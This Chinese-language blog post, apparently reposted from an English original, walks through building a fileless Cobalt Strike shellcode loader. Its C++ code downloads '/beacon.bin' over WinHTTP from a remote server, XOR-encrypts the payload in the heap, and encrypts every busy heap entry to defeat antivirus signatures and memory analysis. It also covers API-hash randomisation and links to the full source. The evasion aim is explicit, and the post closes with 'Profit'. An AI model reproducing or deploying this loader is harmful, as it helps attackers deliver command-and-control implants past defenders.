最近,我正在开发一个简单的 Shellcode 加载器,它使用回调作为 Shellcode 执行的替代方案。虽然它可以绕过每次运行时扫描,但无法绕过签名检测。因此,我启动了ThreatCheck来识别坏字节:
乍一看,无法理解到底检测到了什么,所以我启动了GHidra来手动识别这些坏字节。我只是从 ThreadCheck ( 00 1F CC 07 00 15 CC 07 ) 中复制了一个随机模式,并尝试在恶意软件的编译 EXE 内存中进行搜索。
这显然是我在 Shellcode Loader 中实现的 XOR 加密 Shellcode,Defender 将其检测为 Cobalt Strike 代理。看来 XOR 加密例程在静态检测方面不够强大,这让我开始思考:存储的 shellcode 真的死了吗(尤其是从 Cobalt Strike 生成的 shellcode)?我不会感到惊讶,因为目前 Cobalt Strike 是威胁行为者中最流行的 C2 框架,但必须采取一些措施使 Shellcode 再次变得强大且不可检测。
RAW Shellcodes:它们有什么问题?
Cobalt Strike 的有效载荷基于 Meterpreter shellcode,并且包含许多相似(有时相同)的 API 哈希(x86和x64版本)。
Cobalt Strike 使用的默认哈希https://kleiton0x00.github.io/posts/Shellcodes-are-dead-long-live-fileless-shellcodes/是经过高度签名的;我们可以通过执行动态哈希编码来获得此类哈希的解决方案。如果你看下面的图片,哈希值是InternetOpenA0xa779563a的默认哈希。如果你简单地谷歌一下哈希,所有与 Metaploit 相关的内容都会出现,因此这个哈希被认为主要由 Cobalt Strike 信标和 Meterpreter 代理使用。对此类哈希应用 ror13 哈希将大大减少 AV 供应商的检测(几乎为 0)。由于这篇文章https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection已经很好地解释过了,我不会进一步解释,但下面的图片给出了对哈希进行编码后的最终结果的概念。
无文件 Shellcode 来帮忙
虽然这不是什么新鲜事,但无文件 shellcode 是避免签名检测的一种好方法,即从互联网上检索 shellcode。这样,您就可以解决大熵和任何可能的签名检测的问题。下图是传统 XORed 加密 shellcode 和我们的无文件 shellcode 加载器的比较。由于 shellcode 不必存储在 .text 部分中,因此熵将大幅下降(请记住):
完整的源代码可以在这里找到https://github.com/kleiton0x00/RemoteShellcodeExec/,但在本文中,我将尝试分解代码以便于理解。
为了从 HTTP 服务器请求 shellcode,我将使用winhttp库。或者,您可以使用套接字,根据一些研究,这可能是更好的解决方案,可能会导致较低的运行时检测(因为 Winsocket 的 API 可能会被挂钩)。以下代码负责向远程服务器发送 HTTP 请求并等待响应:
// Initialize WinHTTP
hInternet = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
// Connect to the HTTP server
hHttpSession = WinHttpConnect(hInternet, L"192.168.0.60", 80, 0); //192.168.0.60:8081
// Open an HTTP request
hHttpRequest = WinHttpOpenRequest(hHttpSession, L"GET", L"/beacon.bin", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
// Send a request
bResults = WinHttpSendRequest(hHttpRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
// Wait for the response
bResults = WinHttpReceiveResponse(hHttpRequest, NULL);
WinHTTP 分块接收响应,因此我们需要循环直到检索到所有内容:
do
{
dwSize = 0;
if (!WinHttpQueryDataAvailable(hHttpRequest, &dwSize))
{
printf("Error %u in WinHttpQueryDataAvailable.n", GetLastError());
}
// Allocate space for the buffer.
pszOutBuffer = new char[dwSize + 1];
// No more available data
if (!pszOutBuffer) {
printf("[-] No more available data");
dwSize = 0;
}
// Read the Data.
ZeroMemory(pszOutBuffer, dwSize + 1);
if (!WinHttpReadData(hHttpRequest, (LPVOID)pszOutBuffer,
dwSize, &dwDownloaded))
printf("Error %u in WinHttpReadData.n", GetLastError());
else
PEbuf.insert(PEbuf.end(), pszOutBuffer, pszOutBuffer + dwDownloaded);
} while (dwSize > 0);
最后,确保将每个块存储在矢量数组中:
char* PE = (char*)malloc(PEbuf.size());
for (int i = 0; i < PEbuf.size(); i++) {
PE[i] = PEbuf[i];
}
加密总是有用的
请注意以下部分:
char* PE = (char*)malloc(PEbuf.size());
for (int i = 0; i < PEbuf.size(); i++) {
PE[i] = PEbuf[i];
}
从团队服务器检索到的 shellcode 存储在堆中,这使得蓝队可以轻松分析堆并发现里面的内容(显然是我们的未加密的 shellcode):
此外,在堆中加密 shellcode 总是一个更好的主意:
char* PE = (char*)malloc(PEbuffer.size());
for (int i = 0; i < PEbuf.size(); i++) {
PE[i] = PEbuffer[i] ^ 0x7e; //XOR encrypted
}
XOR(PE, PEbuffer.size(), key);
其中XOR是解密数组的基本函数:
void XOR(char* data, int len, unsigned char key) {
int i;
for (i = 0; i < len; i++)
data[i] ^= key;
}
不惜一切代价保护堆
加密堆是个好主意,因为它可以保护可能存储在堆中的敏感数据。当程序在不受信任的环境中运行时,这一点尤其重要,因为存储在堆中的任何数据都可能被恶意软件分析器分析。
// Encryption Key
const char key[2] = "A";
size_t keySize = sizeof(key);
void xor_bidirectional_encode(const char* key, const size_t keyLength, char* buffer, const size_t length) {
for (size_t i = 0; i < length; ++i) {
buffer[i] ^= key[i % keyLength];
}
}
PROCESS_HEAP_ENTRY entry;
void HeapEncryptDecrypt() {
SecureZeroMemory(&entry, sizeof(entry));
while (HeapWalk(GetProcessHeap(), &entry)) {
if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
xor_bidirectional_encode(key, keySize, (char*)(entry.lpData), entry.cbData);
}
}
}
HeapWalk ()函数用于遍历进程堆中的每个堆条目,并检查该条目是否繁忙。如果繁忙,则使用 xor_bidirectional_encode() 函数对该条目进行加密和解密。这是通过使用 XOR 运算对数据进行加密和解密来实现的。
Profit
原文始发于微信公众号(Ots安全):Shellcode 已死,无文件 Shellcode 万岁
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论